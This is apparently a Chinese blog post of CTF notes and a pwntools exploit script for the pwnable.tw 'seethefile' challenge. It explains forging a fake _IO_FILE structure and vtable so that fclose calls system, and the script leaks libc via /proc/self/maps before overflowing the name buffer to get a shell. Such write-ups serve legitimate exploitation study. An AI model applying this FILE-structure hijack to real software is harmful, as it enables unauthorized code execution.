2019-04-27

IO流相关学习:
https://www.jianshu.com/p/a6354fa4dbdf
https://www.jianshu.com/p/2e00afb01606

1._IO_FILE结构体大小为0x94(32位)

2._flags & 0x2000为0就会直接调用_IO_FINSH(fp),_IO_FINISH(fp)相当于调用fp->vtabl->__finish(fp)

3.将fp指向一块内存P,P偏移0的前4字节设置为0xffffdfff(_flags & 0x2000),P偏移4位置放上要执行的字符串指令(字符串以';'开头即可),P偏移sizeof(_IO_FILE)大小位置(vtable)覆盖为内存区域Q,Q偏移2*4字节处(vtable->__finish)覆盖为system函数地址即可

4.vtable是个虚标指针,里面一般性是21or23个变量,我们需要改的是第三个,别的填充些正常的地址就好


#coding=utf8
from pwn import *
 
local = 0
 
if local:
    cn = process('/home/a/seethefile')
    bin = ELF('/home/a/seethefile')
    #libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
    libc = ELF('/lib/i386-linux-gnu/libc-2.23.so')
else:
    cn = remote('chall.pwnable.tw',10200)
    bin = ELF('/home/a/seethefile')
    libc = ELF('libc_32.so.6')
 
 
def z(a=''):
    gdb.attach(cn,a)
    if a == '':
        raw_input()
 
def openfile(name):
    cn.recvuntil('Your choice :')
    cn.sendline('1')
    cn.recvuntil('to see :')
    cn.sendline(name)
 
 
def readfile():
    cn.recvuntil('Your choice :')
    cn.sendline('2')
 
def writefile():
    cn.recvuntil('Your choice :')
    cn.sendline('3')
 
def closefile():
    cn.recvuntil('Your choice :')
    cn.sendline('4')
 
def exit(name):
    cn.recvuntil('Your choice :')
    cn.sendline('5')
    cn.recvuntil('your name :')
    cn.sendline(name)
 
openfile('/proc/self/maps')
readfile()
writefile()


cn.recvline()
cn.recvline()
cn.recvline()
cn.recvline()
libc.address = int(cn.recvline()[:8],16)+0x1000
print 'offset: '+hex(libc.address)
system_addr=libc.symbols['system']
print 'system: '+hex(system_addr)
closefile()
#cn.interactive()
openfile('/proc/self/maps')
#spare place
addr=0x0804B300
payload=''
#padding+change *fp
payload+='a'*32 + p32(addr)
payload+='\x00'*(0x80-4)
#fake IO file
#flag+code
payload+='\xff\xff\xdf\xff;$0\x00'.ljust(0x94,'\x00')
#change vtable
payload+=p32(addr+0x94)
payload+=p32(system_addr)*21
#gdb.attach(cn)
exit(payload)
 
cn.interactive()

你可能感兴趣的:(2019-04-27)